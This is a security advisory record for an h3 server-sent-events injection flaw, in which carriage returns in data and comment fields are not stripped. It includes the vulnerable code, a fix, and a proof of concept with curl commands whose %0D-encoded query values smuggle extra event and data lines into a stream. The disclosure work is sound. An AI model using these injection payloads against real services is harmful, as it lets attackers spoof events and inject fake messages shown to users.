{"id":"CVE-2026-86252","aliases":["GHSA-4hxc-9384-m385"],"url":"https://o3.security/vulnerability/CVE-2026-86252","summary":"h3 before 1.15.9 SSE Event Injection via Carriage Return","details":"## Summary\n\nThe `EventStream` class in h3 fails to sanitize carriage return (`\\r`) characters in `data` and `comment` fields. Per the SSE specification, `\\r` is a valid line terminator, so browsers interpret injected `\\r` as line breaks. This allows an attacker to inject arbitrary SSE events, spoof event types, and split a single `push()` call into multiple distinct browser-parsed events. This is an incomplete fix bypass of commit `7791538` which addressed `\\n` injection but missed `\\r`-only injection.\n\n## Details\n\nThe prior fix in commit `7791538` added `_sanitizeSingleLine()` to strip `\\n` and `\\r` from `id` and `event` fields, and changed `data` formatting to split on `\\n`. However, two code paths remain vulnerable:\n\n### 1. `data` field — `formatEventStreamMessage()` (`src/utils/internal/event-stream.ts:190-193`)\n\n```typescript\nconst data = typeof message.data === \"string\" ? message.data : \"\";\nfor (const line of data.split(\"\\n\")) {  // Only splits on \\n, not \\r\n  result += `data: ${line}\\n`;\n}\n```\n\n`String.prototype.split(\"\\n\")` does **not** split on `\\r`. A string like `\"legit\\revent: evil\"` remains as a single \"line\" and is emitted as:\n\n```\ndata: legit\\revent: evil\\n\n```\n\nPer the [SSE specification §9.2.6](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation), `\\r` alone is a valid line terminator. The browser parses this as two separate lines:\n\n```\ndata: legit\nevent: evil\n```\n\n### 2. `comment` field — `formatEventStreamComment()` (`src/utils/internal/event-stream.ts:170-177`)\n\n```typescript\nexport function formatEventStreamComment(comment: string): string {\n  return (\n    comment\n      .split(\"\\n\")  // Only splits on \\n, not \\r\n      .map((l) => `: ${l}\\n`)\n      .join(\"\") + \"\\n\"\n  );\n}\n```\n\nThe same `split(\"\\n\")` pattern means `\\r` in comments is not handled. An input like `\"x\\rdata: injected\"` produces:\n\n```\n: x\\rdata: injected\\n\\n\n```\n\nWhich the browser parses as a comment line followed by actual data:\n\n```\n: x\ndata: injected\n```\n\n### Why `_sanitizeSingleLine` doesn't help\n\nThe `_sanitizeSingleLine` function at line 198 correctly strips both `\\r` and `\\n`:\n\n```typescript\nfunction _sanitizeSingleLine(value: string): string {\n  return value.replace(/[\\n\\r]/g, \"\");\n}\n```\n\nBut it is **only applied to `id` and `event` fields** (lines 182, 185), not to `data` or `comment`.\n\n## PoC\n\n### Setup\n\nCreate a minimal h3 application that reflects user input into an SSE stream:\n\n```javascript\n// server.mjs\nimport { createApp, createEventStream, defineEventHandler, getQuery } from \"h3\";\n\nconst app = createApp();\n\napp.use(\"/sse\", defineEventHandler(async (event) => {\n  const stream = createEventStream(event);\n  const { msg } = getQuery(event);\n\n  // Simulates user-controlled input flowing to SSE (common in chat/AI apps)\n  await stream.push(String(msg));\n\n  setTimeout(() => stream.close(), 1000);\n  return stream.send();\n}));\n\nexport default app;\n```\n\n### Attack 1: Event type injection via `\\r` in data\n\n```bash\n# Inject an \"event: evil\" directive via \\r in data\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=legit%0Devent:%20evil\"\n```\n\n**Expected (safe) wire output:**\n```\ndata: legit\\revent: evil\\n\\n\n```\n\n**Browser parses as:**\n```\ndata: legit\nevent: evil\n```\n\nThe browser's `EventSource` fires a custom `evil` event instead of the default `message` event, potentially routing data to unintended handlers.\n\n### Attack 2: Message boundary injection (event splitting)\n\n```bash\n# Inject a message boundary (\\r\\r = empty line) to split one push() into two events\ncurl -N --no-buffer \"http://localhost:3000/sse?msg=first%0D%0Ddata:%20injected\"\n```\n\n**Browser parses as two separate events:**\n1. Event 1: `data: first`\n2. Event 2: `data: injected`\n\nA single `push()` call produces two distinct events in the browser — the attacker controls the second event's content entirely.\n\n### Attack 3: Comment escape to data injection\n\n```bash\n# Inject via pushComment() — escape from comment into data\ncurl -N --no-buffer \"http://localhost:3000/sse-comment?comment=x%0Ddata:%20injected\"\n```\n\n**Browser parses as:**\n```\n: x          (comment, ignored)\ndata: injected  (real data, dispatched as event)\n```\n\n## Impact\n\n- **Event spoofing:** Attacker can inject arbitrary `event:` types, causing browsers to dispatch events to different `EventSource.addEventListener()` handlers than intended. In applications that use custom event types for control flow (e.g., `error`, `done`, `system`), this enables UI manipulation.\n- **Message boundary injection:** A single `push()` call can be split into multiple browser-side events. This breaks application-level framing assumptions — e.g., a chat message could appear as two messages, or an injected \"system\" message could appear in an AI chat interface.\n- **Comment-to-data escalation:** Data can be injected through what the application considers a harmless comment field via `pushComment()`.\n- **Bypass of existing security control:** The prior fix (commit `7791538`) explicitly intended to prevent SSE injection, demonstrating the project considers this a security issue. The incomplete fix creates a false sense of security.\n\n## Recommended Fix\n\nBoth `formatEventStreamMessage` and `formatEventStreamComment` should split on `\\r`, `\\n`, and `\\r\\n` — matching the SSE spec's line terminator definition.\n\n```typescript\n// src/utils/internal/event-stream.ts\n\n// Add a shared regex for SSE line terminators\nconst SSE_LINE_SPLIT = /\\r\\n|\\r|\\n/;\n\nexport function formatEventStreamComment(comment: string): string {\n  return (\n    comment\n      .split(SSE_LINE_SPLIT)  // was: .split(\"\\n\")\n      .map((l) => `: ${l}\\n`)\n      .join(\"\") + \"\\n\"\n  );\n}\n\nexport function formatEventStreamMessage(message: EventStreamMessage): string {\n  let result = \"\";\n  if (message.id) {\n    result += `id: ${_sanitizeSingleLine(message.id)}\\n`;\n  }\n  if (message.event) {\n    result += `event: ${_sanitizeSingleLine(message.event)}\\n`;\n  }\n  if (typeof message.retry === \"number\" && Number.isInteger(message.retry)) {\n    result += `retry: ${message.retry}\\n`;\n  }\n  const data = typeof message.data === \"string\" ? message.data : \"\";\n  for (const line of data.split(SSE_LINE_SPLIT)) {  // was: data.split(\"\\n\")\n    result += `data: ${line}\\n`;\n  }\n  result += \"\\n\";\n  return result;\n}\n```\n\nThis ensures all three SSE-spec line terminators (`\\r\\n`, `\\r`, `\\n`) are properly handled as line boundaries, preventing `\\r` from being passed through to the browser where it would be interpreted as a line break.","published":"2026-09-06T12:00:27.561Z","modified":"2026-09-10T03:30:57.638879753Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"h3","fixedVersion":"2.0.1-rc.17"},{"ecosystem":"npm","name":"h3","fixedVersion":"1.15.9"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/86xxx/CVE-2026-86252.json"},{"type":"ADVISORY","url":"https://github.com/h3js/h3/security/advisories/GHSA-4hxc-9384-m385"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86252"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/h3-before-1.15.9-sse-event-injection-via-carriage-return"},{"type":"PACKAGE","url":"https://github.com/h3js/h3"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-10T03:30:57.638879753Z"}}